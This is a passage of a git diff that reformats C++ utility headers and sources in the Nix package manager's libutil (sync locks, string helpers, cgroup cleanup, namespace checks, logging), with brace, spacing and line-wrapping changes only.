@@ struct SourcePath /** * Convenience wrapper around `SourceAccessor::resolveSymlinks()`. */ - SourcePath resolveSymlinks( - SymlinkResolution mode = SymlinkResolution::Full) const + SourcePath resolveSymlinks(SymlinkResolution mode = SymlinkResolution::Full) const { return {accessor, accessor->resolveSymlinks(path, mode)}; } @@ -119,7 +117,7 @@ struct SourcePath friend class std::hash; }; -std::ostream & operator << (std::ostream & str, const SourcePath & path); +std::ostream & operator<<(std::ostream & str, const SourcePath & path); } diff --git a/src/libutil/include/nix/util/split.hh b/src/libutil/include/nix/util/split.hh index 24a73fea8..65435fa87 100644 --- a/src/libutil/include/nix/util/split.hh +++ b/src/libutil/include/nix/util/split.hh @@ -14,19 +14,21 @@ namespace nix { * separator. Otherwise, we return `std::nullopt`, and we leave the argument * string alone. */ -static inline std::optional splitPrefixTo(std::string_view & string, char separator) { +static inline std::optional splitPrefixTo(std::string_view & string, char separator) +{ auto sepInstance = string.find(separator); if (sepInstance != std::string_view::npos) { auto prefix = string.substr(0, sepInstance); - string.remove_prefix(sepInstance+1); + string.remove_prefix(sepInstance + 1); return prefix; } return std::nullopt; } -static inline bool splitPrefix(std::string_view & string, std::string_view prefix) { +static inline bool splitPrefix(std::string_view & string, std::string_view prefix) +{ bool res = hasPrefix(string, prefix); if (res) string.remove_prefix(prefix.length()); diff --git a/src/libutil/include/nix/util/suggestions.hh b/src/libutil/include/nix/util/suggestions.hh index 16496379c..e1e22a9d4 100644 --- a/src/libutil/include/nix/util/suggestions.hh +++ b/src/libutil/include/nix/util/suggestions.hh @@ -11,7 +11,8 @@ int levenshteinDistance(std::string_view first, std::string_view second); /** * A potential suggestion for the cli interface. */ -class Suggestion { +class Suggestion +{ public: /// The smaller the better int distance; @@ -19,27 +20,22 @@ public: std::string to_string() const; - bool operator ==(const Suggestion &) const = default; - auto operator <=>(const Suggestion &) const = default; + bool operator==(const Suggestion &) const = default; + auto operator<=>(const Suggestion &) const = default; }; -class Suggestions { +class Suggestions +{ public: std::set suggestions; std::string to_string() const; - Suggestions trim( - int limit = 5, - int maxDistance = 2 - ) const; + Suggestions trim(int limit = 5, int maxDistance = 2) const; - static Suggestions bestMatches ( - const std::set & allMatches, - std::string_view query - ); + static Suggestions bestMatches(const std::set & allMatches, std::string_view query); - Suggestions& operator+=(const Suggestions & other); + Suggestions & operator+=(const Suggestions & other); }; std::ostream & operator<<(std::ostream & str, const Suggestion &); @@ -49,18 +45,19 @@ std::ostream & operator<<(std::ostream & str, const Suggestions &); * Either a value of type `T`, or some suggestions */ template -class OrSuggestions { +class OrSuggestions +{ public: using Raw = std::variant; Raw raw; - T* operator ->() + T * operator->() { return &**this; } - T& operator *() + T & operator*() { return std::get(raw); } @@ -100,7 +97,6 @@ public: else return noSuggestions; } - }; } diff --git a/src/libutil/include/nix/util/sync.hh b/src/libutil/include/nix/util/sync.hh index 0c3e1f528..4ae583cf0 100644 --- a/src/libutil/include/nix/util/sync.hh +++ b/src/libutil/include/nix/util/sync.hh @@ -36,9 +36,15 @@ private: public: - SyncBase() { } - SyncBase(const T & data) : data(data) { } - SyncBase(T && data) noexcept : data(std::move(data)) { } + SyncBase() {} + SyncBase(const T & data) + : data(data) + { + } + SyncBase(T && data) noexcept + : data(std::move(data)) + { + } template class Lock @@ -47,11 +53,19 @@ public: SyncBase * s; L lk; friend SyncBase; - Lock(SyncBase * s) : s(s), lk(s->mutex) { } + Lock(SyncBase * s) + : s(s) + , lk(s->mutex) + { + } public: - Lock(Lock && l) : s(l.s) { unreachable(); } + Lock(Lock && l) + : s(l.s) + { + unreachable(); + } Lock(const Lock & l) = delete; - ~Lock() { } + ~Lock() {} void wait(std::condition_variable & cv) { @@ -60,25 +74,22 @@ public: } template - std::cv_status wait_for(std::condition_variable & cv, - const std::chrono::duration & duration) + std::cv_status wait_for(std::condition_variable & cv, const std::chrono::duration & duration) { assert(s); return cv.wait_for(lk, duration); } template - bool wait_for(std::condition_variable & cv, - const std::chrono::duration & duration, - Predicate pred) + bool wait_for(std::condition_variable & cv, const std::chrono::duration & duration, Predicate pred) { assert(s); return cv.wait_for(lk, duration, pred); } template - std::cv_status wait_until(std::condition_variable & cv, - const std::chrono::time_point & duration) + std::cv_status + wait_until(std::condition_variable & cv, const std::chrono::time_point & duration) { assert(s); return cv.wait_until(lk, duration); @@ -87,32 +98,51 @@ public: struct WriteLock : Lock { - T * operator -> () { return &WriteLock::s->data; } - T & operator * () { return WriteLock::s->data; } + T * operator->() + { + return &WriteLock::s->data; + } + T & operator*() + { + return WriteLock::s->data; + } }; /** * Acquire write (exclusive) access to the inner value. */ - WriteLock lock() { return WriteLock(this); } + WriteLock lock() + { + return WriteLock(this); + } struct ReadLock : Lock { - const T * operator -> () { return &ReadLock::s->data; } - const T & operator * () { return ReadLock::s->data; } + const T * operator->() + { + return &ReadLock::s->data; + } + const T & operator*() + { + return ReadLock::s->data; + } }; /** * Acquire read access to the inner value. When using * `std::shared_mutex`, this will use a shared lock. */ - ReadLock readLock() const { return ReadLock(const_cast(this)); } + ReadLock readLock() const + { + return ReadLock(const_cast(this)); + } }; template using Sync = SyncBase, std::unique_lock>; template -using SharedSync = SyncBase, std::shared_lock>; +using SharedSync = + SyncBase, std::shared_lock>; } diff --git a/src/libutil/include/nix/util/terminal.hh b/src/libutil/include/nix/util/terminal.hh index 7ff05a487..8520e749e 100644 --- a/src/libutil/include/nix/util/terminal.hh +++ b/src/libutil/include/nix/util/terminal.hh @@ -18,9 +18,8 @@ bool isTTY(); * included in the character count. Also, tabs are expanded to * spaces. */ -std::string filterANSIEscapes(std::string_view s, - bool filterAll = false, - unsigned int width = std::numeric_limits::max()); +std::string filterANSIEscapes( + std::string_view s, bool filterAll = false, unsigned int width = std::numeric_limits::max()); /** * Recalculate the window size, updating a global variable. diff --git a/src/libutil/include/nix/util/thread-pool.hh b/src/libutil/include/nix/util/thread-pool.hh index 92009e396..9f68d2235 100644 --- a/src/libutil/include/nix/util/thread-pool.hh +++ b/src/libutil/include/nix/util/thread-pool.hh @@ -87,7 +87,8 @@ void processGraph( std::function(const T &)> getEdges, std::function processNode) { - struct Graph { + struct Graph + { std::set left; std::map> refs, rrefs; }; @@ -101,7 +102,6 @@ void processGraph( ThreadPool pool; worker = [&](const T & node) { - { auto graph(graph_.lock()); auto i = graph->refs.find(node); @@ -110,22 +110,21 @@ void processGraph( goto doWork; } - getRefs: - { - auto refs = getEdges(node); - refs.erase(node); + getRefs: { + auto refs = getEdges(node); + refs.erase(node); - { - auto graph(graph_.lock()); - for (auto & ref : refs) - if (graph->left.count(ref)) { - graph->refs[node].insert(ref); - graph->rrefs[ref].insert(node); - } - if (graph->refs[node].empty()) - goto doWork; - } + { + auto graph(graph_.lock()); + for (auto & ref : refs) + if (graph->left.count(ref)) { + graph->refs[node].insert(ref); + graph->rrefs[ref].insert(node); + } + if (graph->refs[node].empty()) + goto doWork; } + } return; diff --git a/src/libutil/include/nix/util/topo-sort.hh b/src/libutil/include/nix/util/topo-sort.hh index 77a9ce421..be1625206 100644 --- a/src/libutil/include/nix/util/topo-sort.hh +++ b/src/libutil/include/nix/util/topo-sort.hh @@ -6,9 +6,10 @@ namespace nix { template -std::vector topoSort(std::set items, - std::function(const T &)> getChildren, - std::function makeCycleError) +std::vector topoSort( + std::set items, + std::function(const T &)> getChildren, + std::function makeCycleError) { std::vector sorted; std::set visited, parents; @@ -16,9 +17,11 @@ std::vector topoSort(std::set items, std::function dfsVisit; dfsVisit = [&](const T & path, const T * parent) { - if (parents.count(path)) throw makeCycleError(path, *parent); + if (parents.count(path)) + throw makeCycleError(path, *parent); - if (!visited.insert(path).second) return; + if (!visited.insert(path).second) + return; parents.insert(path); std::set references = getChildren(path); diff --git a/src/libutil/include/nix/util/types.hh b/src/libutil/include/nix/util/types.hh index 9f5c75827..ff0519160 100644 --- a/src/libutil/include/nix/util/types.hh +++ b/src/libutil/include/nix/util/types.hh @@ -1,7 +1,6 @@ #pragma once ///@file - #include #include #include @@ -32,7 +31,10 @@ typedef std::vector> Headers; template struct OnStartup { - OnStartup(T && t) { t(); } + OnStartup(T && t) + { + t(); + } }; /** @@ -40,18 +42,18 @@ struct OnStartup * cast to a bool in Attr. */ template -struct Explicit { +struct Explicit +{ T t; - bool operator ==(const Explicit & other) const = default; + bool operator==(const Explicit & other) const = default; - bool operator <(const Explicit & other) const + bool operator<(const Explicit & other) const { return t < other.t; } }; - /** * This wants to be a little bit like rust's Cow type. * Some parts of the evaluator benefit greatly from being able to reuse @@ -62,7 +64,8 @@ struct Explicit { * since those can easily become ambiguous to the reader and can degrade * into copying behaviour we want to avoid. */ -class BackedStringView { +class BackedStringView +{ private: std::variant data; @@ -71,19 +74,35 @@ private: * a pointer. Without this we'd need to store the view object * even when we already own a string. */ - class Ptr { + class Ptr + { private: std::string_view view; public: - Ptr(std::string_view view): view(view) {} - const std::string_view * operator->() const { return &view; } + Ptr(std::string_view view) + : view(view) + { + } + const std::string_view * operator->() const + { + return &view; + } }; public: - BackedStringView(std::string && s): data(std::move(s)) {} - BackedStringView(std::string_view sv): data(sv) {} + BackedStringView(std::string && s) + : data(std::move(s)) + { + } + BackedStringView(std::string_view sv) + : data(sv) + { + } template - BackedStringView(const char (& lit)[N]): data(std::string_view(lit)) {} + BackedStringView(const char (&lit)[N]) + : data(std::string_view(lit)) + { + } BackedStringView(const BackedStringView &) = delete; BackedStringView & operator=(const BackedStringView &) = delete; @@ -102,18 +121,17 @@ public: std::string toOwned() && { - return isOwned() - ? std::move(std::get(data)) - : std::string(std::get(data)); + return isOwned() ? std::move(std::get(data)) : std::string(std::get(data)); } std::string_view operator*() const { - return isOwned() - ? std::get(data) - : std::get(data); + return isOwned() ? std::get(data) : std::get(data); + } + Ptr operator->() const + { + return Ptr(**this); } - Ptr operator->() const { return Ptr(**this); } }; } diff --git a/src/libutil/include/nix/util/url-parts.hh b/src/libutil/include/nix/util/url-parts.hh index 1ddc6a536..43667e5a4 100644 --- a/src/libutil/include/nix/util/url-parts.hh +++ b/src/libutil/include/nix/util/url-parts.hh @@ -33,7 +33,8 @@ extern std::regex refRegex; /// Instead of defining what a good Git Ref is, we define what a bad Git Ref is /// This is because of the definition of a ref in refs.c in https://github.com/git/git /// See tests/functional/fetchGitRefs.sh for the full definition -const static std::string badGitRefRegexS = "//|^[./]|/\\.|\\.\\.|[[:cntrl:][:space:]:?^~\[]|\\\\|\\*|\\.lock$|\\.lock/|@\\{|[/.]$|^@$|^$"; +const static std::string badGitRefRegexS = + "//|^[./]|/\\.|\\.\\.|[[:cntrl:][:space:]:?^~\[]|\\\\|\\*|\\.lock$|\\.lock/|@\\{|[/.]$|^@$|^$"; extern std::regex badGitRefRegex; /// A Git revision (a SHA-1 commit hash). diff --git a/src/libutil/include/nix/util/url.hh b/src/libutil/include/nix/util/url.hh index ced846787..8af04d44e 100644 --- a/src/libutil/include/nix/util/url.hh +++ b/src/libutil/include/nix/util/url.hh @@ -15,7 +15,7 @@ struct ParsedURL std::string to_string() const; - bool operator ==(const ParsedURL & other) const noexcept; + bool operator==(const ParsedURL & other) const noexcept; /** * Remove `.` and `..` path elements. @@ -23,12 +23,12 @@ struct ParsedURL ParsedURL canonicalise(); }; -std::ostream & operator << (std::ostream & os, const ParsedURL & url); +std::ostream & operator<<(std::ostream & os, const ParsedURL & url); MakeError(BadURL, Error); std::string percentDecode(std::string_view in); -std::string percentEncode(std::string_view s, std::string_view keep=""); +std::string percentEncode(std::string_view s, std::string_view keep = ""); std::map decodeQuery(const std::string & query); @@ -44,7 +44,8 @@ ParsedURL parseURL(const std::string & url); * For example git uses `git+https` to designate remotes using a Git * protocol over http. */ -struct ParsedUrlScheme { +struct ParsedUrlScheme +{ std::optional application; std::string_view transport; }; diff --git a/src/libutil/include/nix/util/users.hh b/src/libutil/include/nix/util/users.hh index 1d467173c..ee7f9d9ed 100644 --- a/src/libutil/include/nix/util/users.hh +++ b/src/libutil/include/nix/util/users.hh @@ -4,7 +4,7 @@ #include "nix/util/types.hh" #ifndef _WIN32 -# include +# include #endif namespace nix { @@ -59,7 +59,6 @@ Path createNixStateDir(); */ std::string expandTilde(std::string_view path); - /** * Is the current user UID 0 on Unix? * diff --git a/src/libutil/include/nix/util/util.hh b/src/libutil/include/nix/util/util.hh index 5a4530798..b77db27e7 100644 --- a/src/libutil/include/nix/util/util.hh +++ b/src/libutil/include/nix/util/util.hh @@ -5,7 +5,6 @@ #include "nix/util/error.hh" #include "nix/util/logging.hh" - #include #include #include @@ -24,10 +23,8 @@ void initLibUtil(); */ std::vector stringsToCharPtrs(const Strings & ss); - MakeError(FormatError, Error); - template auto concatStrings(Parts &&... parts) -> std::enable_if_t<(... && std::is_convertible_v), std::string> @@ -36,11 +33,11 @@ auto concatStrings(Parts &&... parts) return concatStringsSep({}, views); } - /** * Add quotes around a collection of strings. */ -template Strings quoteStrings(const C & c) +template +Strings quoteStrings(const C & c) { Strings res; for (auto & s : c) @@ -55,25 +52,18 @@ template Strings quoteStrings(const C & c) */ std::string chomp(std::string_view s); - /** * Remove whitespace from the start and end of a string. */ std::string trim(std::string_view s, std::string_view whitespace = " \n\r\t"); - /** * Replace all occurrences of a string inside another string. */ -std::string replaceStrings( - std::string s, - std::string_view from, - std::string_view to); - +std::string replaceStrings(std::string s, std::string_view from, std::string_view to); std::string rewriteStrings(std::string s, const StringMap & rewrites); - /** * Parse a string into an integer. */ @@ -91,11 +81,16 @@ N string2IntWithUnitPrefix(std::string_view s) if (!s.empty()) { char u = std::toupper(*s.rbegin()); if (std::isalpha(u)) { - if (u == 'K') multiplier = 1ULL << 10; - else if (u == 'M') multiplier = 1ULL << 20; - else if (u == 'G') multiplier = 1ULL << 30; - else if (u == 'T') multiplier = 1ULL << 40; - else throw UsageError("invalid unit specifier '%1%'", u); + if (u == 'K') + multiplier = 1ULL << 10; + else if (u == 'M') + multiplier = 1ULL << 20; + else if (u == 'G') + multiplier = 1ULL << 30; + else if (u == 'T') + multiplier = 1ULL << 40; + else + throw UsageError("invalid unit specifier '%1%'", u); s.remove_suffix(1); } } @@ -117,7 +112,6 @@ std::string renderSize(uint64_t value, bool align = false); template std::optional string2Float(const std::string_view s); - /** * Convert a little-endian integer to host order. */ @@ -131,31 +125,26 @@ T readLittleEndian(unsigned char * p) return x; } - /** * @return true iff `s` starts with `prefix`. */ bool hasPrefix(std::string_view s, std::string_view prefix); - /** * @return true iff `s` ends in `suffix`. */ bool hasSuffix(std::string_view s, std::string_view suffix); - /** * Convert a string to lower case. */ std::string toLower(std::string s); - /** * Escape a string as a shell word. */ std::string shellEscape(const std::string_view s); - /** * Exception handling in destructors: print an error message, then * ignore the exception. @@ -177,8 +166,6 @@ void ignoreExceptionInDestructor(Verbosity lvl = lvlError); */ void ignoreExceptionExceptInterrupt(Verbosity lvl = lvlError); - - /** * Tree formatting. */ @@ -187,7 +174,6 @@ constexpr char treeLast[] = "└───"; constexpr char treeLine[] = "│ "; constexpr char treeNull[] = " "; - /** * Encode arbitrary bytes as Base64. */ @@ -198,7 +184,6 @@ std::string base64Encode(std::string_view s); */ std::string base64Decode(std::string_view s); - /** * Remove common leading whitespace from the lines in the string * 's'. For example, if every line is indented by at least 3 spaces, @@ -206,7 +191,6 @@ std::string base64Decode(std::string_view s); */ std::string stripIndentation(std::string_view s); - /** * Get the prefix of 's' up to and excluding the next line break (LF * optionally preceded by CR), and the remainder following the line @@ -214,66 +198,67 @@ std::string stripIndentation(std::string_view s); */ std::pair getLine(std::string_view s); - /** * Get a value for the specified key from an associate container. */ -template +template const typename T::mapped_type * get(const T & map, const typename T::key_type & key) { auto i = map.find(key); - if (i == map.end()) return nullptr; + if (i == map.end()) + return nullptr; return &i->second; } -template +template typename T::mapped_type * get(T & map, const typename T::key_type & key) { auto i = map.find(key); - if (i == map.end()) return nullptr; + if (i == map.end()) + return nullptr; return &i->second; } /** * Get a value for the specified key from an associate container, or a default value if the key isn't present. */ -template -const typename T::mapped_type & getOr(T & map, - const typename T::key_type & key, - const typename T::mapped_type & defaultValue) +template +const typename T::mapped_type & +getOr(T & map, const typename T::key_type & key, const typename T::mapped_type & defaultValue) { auto i = map.find(key); - if (i == map.end()) return defaultValue; + if (i == map.end()) + return defaultValue; return i->second; } /** * Remove and return the first item from a container. */ -template +template std::optional remove_begin(T & c) { auto i = c.begin(); - if (i == c.end()) return {}; + if (i == c.end()) + return {}; auto v = std::move(*i); c.erase(i); return v; } - /** * Remove and return the first item from a container. */ -template +template std::optional pop(T & c) { - if (c.empty()) return {}; + if (c.empty()) + return {}; auto v = std::move(c.front()); c.pop(); return v; } - /** * Append items to a container. TODO: remove this once we can use * C++23's `append_range()`. @@ -284,11 +269,9 @@ void append(C & c, std::initializer_list l) c.insert(c.end(), l.begin(), l.end()); } - template class Callback; - /** * A RAII helper that increments a counter on construction and * decrements it on destruction. @@ -298,56 +281,82 @@ struct MaintainCount { T & counter; long delta; - MaintainCount(T & counter, long delta = 1) : counter(counter), delta(delta) { counter += delta; } - ~MaintainCount() { counter -= delta; } + MaintainCount(T & counter, long delta = 1) + : counter(counter) + , delta(delta) + { + counter += delta; + } + ~MaintainCount() + { + counter -= delta; + } }; - /** * A Rust/Python-like enumerate() iterator adapter. * * Borrowed from http://reedbeta.com/blog/python-like-enumerate-in-cpp17. */ -template ())), - typename = decltype(std::end(std::declval()))> +template< + typename T, + typename TIter = decltype(std::begin(std::declval())), + typename = decltype(std::end(std::declval()))> constexpr auto enumerate(T && iterable) { struct iterator { size_t i; TIter iter; - constexpr bool operator != (const iterator & other) const { return iter != other.iter; } - constexpr void operator ++ () { ++i; ++iter; } - constexpr auto operator * () const { return std::tie(i, *iter); } + constexpr bool operator!=(const iterator & other) const + { + return iter != other.iter; + } + constexpr void operator++() + { + ++i; + ++iter; + } + constexpr auto operator*() const + { + return std::tie(i, *iter); + } }; struct iterable_wrapper { T iterable; - constexpr auto begin() { return iterator{ 0, std::begin(iterable) }; } - constexpr auto end() { return iterator{ 0, std::end(iterable) }; } + constexpr auto begin() + { + return iterator{0, std::begin(iterable)}; + } + constexpr auto end() + { + return iterator{0, std::end(iterable)}; + } }; - return iterable_wrapper{ std::forward(iterable) }; + return iterable_wrapper{std::forward(iterable)}; } - /** * C++17 std::visit boilerplate */ -template struct overloaded : Ts... { using Ts::operator()...; }; -template overloaded(Ts...) -> overloaded; - +template +struct overloaded : Ts... +{ + using Ts::operator()...; +}; +template +overloaded(Ts...) -> overloaded; std::string showBytes(uint64_t bytes); - /** * Provide an addition operator between strings and string_views * inexplicably omitted from the standard library. */ -inline std::string operator + (const std::string & s1, std::string_view s2) +inline std::string operator+(const std::string & s1, std::string_view s2) { std::string s; s.reserve(s1.size() + s2.size()); @@ -356,13 +365,13 @@ inline std::string operator + (const std::string & s1, std::string_view s2) return s; } -inline std::string operator + (std::string && s, std::string_view s2) +inline std::string operator+(std::string && s, std::string_view s2) { s.append(s2); return std::move(s); } -inline std::string operator + (std::string_view s1, const char * s2) +inline std::string operator+(std::string_view s1, const char * s2) { auto s2Size = strlen(s2); std::string s; diff --git a/src/libutil/include/nix/util/variant-wrapper.hh b/src/libutil/include/nix/util/variant-wrapper.hh index cedcb999c..146ae07b6 100644 --- a/src/libutil/include/nix/util/variant-wrapper.hh +++ b/src/libutil/include/nix/util/variant-wrapper.hh @@ -8,13 +8,13 @@ * Force the default versions of all constructors (copy, move, copy * assignment). */ -#define FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ - CLASS_NAME(const CLASS_NAME &) = default; \ - CLASS_NAME(CLASS_NAME &) = default; \ - CLASS_NAME(CLASS_NAME &&) = default; \ - \ - CLASS_NAME & operator =(const CLASS_NAME &) = default; \ - CLASS_NAME & operator =(CLASS_NAME &) = default; +#define FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ + CLASS_NAME(const CLASS_NAME &) = default; \ + CLASS_NAME(CLASS_NAME &) = default; \ + CLASS_NAME(CLASS_NAME &&) = default; \ + \ + CLASS_NAME & operator=(const CLASS_NAME &) = default; \ + CLASS_NAME & operator=(CLASS_NAME &) = default; /** * Make a wrapper constructor. All args are forwarded to the @@ -22,9 +22,10 @@ * * The moral equivalent of `using Raw::Raw;` */ -#define MAKE_WRAPPER_CONSTRUCTOR(CLASS_NAME) \ - FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ - \ - CLASS_NAME(auto &&... arg) \ +#define MAKE_WRAPPER_CONSTRUCTOR(CLASS_NAME) \ + FORCE_DEFAULT_CONSTRUCTORS(CLASS_NAME) \ + \ + CLASS_NAME(auto &&... arg) \ : raw(std::forward(arg)...) \ - { } + { \ + } diff --git a/src/libutil/include/nix/util/xml-writer.hh b/src/libutil/include/nix/util/xml-writer.hh index 74f53b7ca..52548c94a 100644 --- a/src/libutil/include/nix/util/xml-writer.hh +++ b/src/libutil/include/nix/util/xml-writer.hh @@ -6,13 +6,10 @@ #include #include - namespace nix { - typedef std::map XMLAttrs; - class XMLWriter { private: @@ -31,12 +28,10 @@ public: void close(); - void openElement(std::string_view name, - const XMLAttrs & attrs = XMLAttrs()); + void openElement(std::string_view name, const XMLAttrs & attrs = XMLAttrs()); void closeElement(); - void writeEmptyElement(std::string_view name, - const XMLAttrs & attrs = XMLAttrs()); + void writeEmptyElement(std::string_view name, const XMLAttrs & attrs = XMLAttrs()); private: void writeAttrs(const XMLAttrs & attrs); @@ -44,14 +39,12 @@ private: void indent_(size_t depth); }; - class XMLOpenElement { private: XMLWriter & writer; public: - XMLOpenElement(XMLWriter & writer, std::string_view name, - const XMLAttrs & attrs = XMLAttrs()) + XMLOpenElement(XMLWriter & writer, std::string_view name, const XMLAttrs & attrs = XMLAttrs()) : writer(writer) { writer.openElement(name, attrs); @@ -62,5 +55,4 @@ public: } }; - } diff --git a/src/libutil/json-utils.cc b/src/libutil/json-utils.cc index 2c8edfce8..963b24a68 100644 --- a/src/libutil/json-utils.cc +++ b/src/libutil/json-utils.cc @@ -10,20 +10,20 @@ namespace nix { const nlohmann::json * get(const nlohmann::json & map, const std::string & key) { auto i = map.find(key); - if (i == map.end()) return nullptr; + if (i == map.end()) + return nullptr; return &*i; } nlohmann::json * get(nlohmann::json & map, const std::string & key) { auto i = map.find(key); - if (i == map.end()) return nullptr; + if (i == map.end()) + return nullptr; return &*i; } -const nlohmann::json & valueAt( - const nlohmann::json::object_t & map, - const std::string & key) +const nlohmann::json & valueAt(const nlohmann::json::object_t & map, const std::string & key) { if (!map.contains(key)) throw Error("Expected JSON object to contain key '%s' but it doesn't: %s", key, nlohmann::json(map).dump()); @@ -36,7 +36,7 @@ std::optional optionalValueAt(const nlohmann::json::object_t & m if (!map.contains(key)) return std::nullopt; - return std::optional { map.at(key) }; + return std::optional{map.at(key)}; } std::optional nullableValueAt(const nlohmann::json::object_t & map, const std::string & key) @@ -46,7 +46,7 @@ std::optional nullableValueAt(const nlohmann::json::object_t & m if (value.is_null()) return std::nullopt; - return std::optional { std::move(value) }; + return std::optional{std::move(value)}; } const nlohmann::json * getNullable(const nlohmann::json & value) @@ -63,16 +63,14 @@ const nlohmann::json * getNullable(const nlohmann::json & value) * functions. It is too cumbersome and easy to forget to expect regular * JSON code to use it directly. */ -static const nlohmann::json & ensureType( - const nlohmann::json & value, - nlohmann::json::value_type expectedType - ) +static const nlohmann::json & ensureType(const nlohmann::json & value, nlohmann::json::value_type expectedType) { if (value.type() != expectedType) throw Error( "Expected JSON value to be of type '%s' but it is of type '%s': %s", nlohmann::json(expectedType).type_name(), - value.type_name(), value.dump()); + value.type_name(), + value.dump()); return value; } @@ -94,7 +92,8 @@ const nlohmann::json::string_t & getString(const nlohmann::json & value) const nlohmann::json::number_integer_t & getInteger(const nlohmann::json & value) { - return ensureType(value, nlohmann::json::value_t::number_integer).get_ref(); + return ensureType(value, nlohmann::json::value_t::number_integer) + .get_ref(); } const nlohmann::json::boolean_t & getBoolean(const nlohmann::json & value) diff --git a/src/libutil/linux/cgroup.cc b/src/libutil/linux/cgroup.cc index e8e2fdfc7..6c44720af 100644 --- a/src/libutil/linux/cgroup.cc +++ b/src/libutil/linux/cgroup.cc @@ -19,7 +19,8 @@ std::optional getCgroupFS() { static auto res = [&]() -> std::optional { auto fp = fopen("/proc/mounts", "r"); - if (!fp) return std::nullopt; + if (!fp) + return std::nullopt; Finally delFP = [&]() { fclose(fp); }; while (auto ent = getmntent(fp)) if (std::string_view(ent->mnt_type) == "cgroup2") @@ -50,7 +51,8 @@ std::map getCgroups(const Path & cgroupFile) static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool returnStats) { - if (!pathExists(cgroup)) return {}; + if (!pathExists(cgroup)) + return {}; auto procsFile = cgroup / "cgroup.procs"; @@ -67,7 +69,8 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu this cgroup. */ for (auto & entry : std::filesystem::directory_iterator{cgroup}) { checkInterrupt(); - if (entry.symlink_status().type() != std::filesystem::file_type::directory) continue; + if (entry.symlink_status().type() != std::filesystem::file_type::directory) + continue; destroyCgroup(cgroup / entry.path().filename(), false); } @@ -78,7 +81,8 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu while (true) { auto pids = tokenizeString>(readFile(procsFile)); - if (pids.empty()) break; + if (pids.empty()) + break; if (round > 20) throw Error("cannot kill cgroup '%s'", cgroup); @@ -93,8 +97,7 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu try { auto cmdline = readFile(fmt("/proc/%d/cmdline", pid)); using namespace std::string_literals; - warn("killing stray builder process %d (%s)...", - pid, trim(replaceStrings(cmdline, "\0"s, " "))); + warn("killing stray builder process %d (%s)...", pid, trim(replaceStrings(cmdline, "\0"s, " "))); } catch (SystemError &) { } } @@ -120,17 +123,18 @@ static CgroupStats destroyCgroup(const std::filesystem::path & cgroup, bool retu std::string_view userPrefix = "user_usec "; if (hasPrefix(line, userPrefix)) { auto n = string2Int(line.substr(userPrefix.size())); - if (n) stats.cpuUser = std::chrono::microseconds(*n); + if (n) + stats.cpuUser = std::chrono::microseconds(*n); } std::string_view systemPrefix = "system_usec "; if (hasPrefix(line, systemPrefix)) { auto n = string2Int(line.substr(systemPrefix.size())); - if (n) stats.cpuSystem = std::chrono::microseconds(*n); + if (n) + stats.cpuSystem = std::chrono::microseconds(*n); } } } - } if (rmdir(cgroup.c_str()) == -1) diff --git a/src/libutil/linux/namespaces.cc b/src/libutil/linux/namespaces.cc index 405866c0b..ce6bf38fb 100644 --- a/src/libutil/linux/namespaces.cc +++ b/src/libutil/linux/namespaces.cc @@ -15,36 +15,27 @@ namespace nix { bool userNamespacesSupported() { - static auto res = [&]() -> bool - { + static auto res = [&]() -> bool { if (!pathExists("/proc/self/ns/user")) { debug("'/proc/self/ns/user' does not exist; your kernel was likely built without CONFIG_USER_NS=y"); return false; } Path maxUserNamespaces = "/proc/sys/user/max_user_namespaces"; - if (!pathExists(maxUserNamespaces) || - trim(readFile(maxUserNamespaces)) == "0") - { + if (!pathExists(maxUserNamespaces) || trim(readFile(maxUserNamespaces)) == "0") { debug("user namespaces appear to be disabled; check '/proc/sys/user/max_user_namespaces'"); return false; } Path procSysKernelUnprivilegedUsernsClone = "/proc/sys/kernel/unprivileged_userns_clone"; if (pathExists(procSysKernelUnprivilegedUsernsClone) - && trim(readFile(procSysKernelUnprivilegedUsernsClone)) == "0") - { + && trim(readFile(procSysKernelUnprivilegedUsernsClone)) == "0") { debug("user namespaces appear to be disabled; check '/proc/sys/kernel/unprivileged_userns_clone'"); return false; } try { - Pid pid = startProcess([&]() - { - _exit(0); - }, { - .cloneFlags = CLONE_NEWUSER - }); + Pid pid = startProcess([&]() { _exit(0); }, {.cloneFlags = CLONE_NEWUSER}); auto r = pid.wait(); assert(!r); @@ -60,27 +51,25 @@ bool userNamespacesSupported() bool mountAndPidNamespacesSupported() { - static auto res = [&]() -> bool - { + static auto res = [&]() -> bool { try { - Pid pid = startProcess([&]() - { - /* Make sure we don't remount the parent's /proc. */ - if (mount(0, "/", 0, MS_PRIVATE | MS_REC, 0) == -1) - _exit(1); + Pid pid = startProcess( + [&]() { + /* Make sure we don't remount the parent's /proc. */ + if (mount(0, "/", 0, MS_PRIVATE | MS_REC, 0) == -1) + _exit(1); - /* Test whether we can remount /proc. The kernel disallows - this if /proc is not fully visible, i.e. if there are - filesystems mounted on top of files inside /proc. See - https://lore.kernel.org/lkml/87tvsrjai0.fsf@xmission.com/T/. */ - if (mount("none", "/proc", "proc", 0, 0) == -1) - _exit(2); + /* Test whether we can remount /proc. The kernel disallows + this if /proc is not fully visible, i.e. if there are + filesystems mounted on top of files inside /proc. See + https://lore.kernel.org/lkml/87tvsrjai0.fsf@xmission.com/T/. */ + if (mount("none", "/proc", "proc", 0, 0) == -1) + _exit(2); - _exit(0); - }, { - .cloneFlags = CLONE_NEWNS | CLONE_NEWPID | (userNamespacesSupported() ? CLONE_NEWUSER : 0) - }); + _exit(0); + }, + {.cloneFlags = CLONE_NEWNS | CLONE_NEWPID | (userNamespacesSupported() ? CLONE_NEWUSER : 0)}); if (pid.wait()) { debug("PID namespaces do not work on this system: cannot remount /proc"); @@ -97,7 +86,6 @@ bool mountAndPidNamespacesSupported() return res; } - ////////////////////////////////////////////////////////////////////// static AutoCloseFD fdSavedMountNamespace; diff --git a/src/libutil/logging.cc b/src/libutil/logging.cc index 1d0d3fa2d..ab5c8526d 100644 --- a/src/libutil/logging.cc +++ b/src/libutil/logging.cc @@ -47,7 +47,7 @@ void Logger::writeToStdout(std::string_view s) Logger::Suspension Logger::suspend() { pause(); - return Suspension { ._finalize = {[this](){this->resume();}} }; + return Suspension{._finalize = {[this]() { this->resume(); }}}; } std::optional Logger::suspendIf(bool 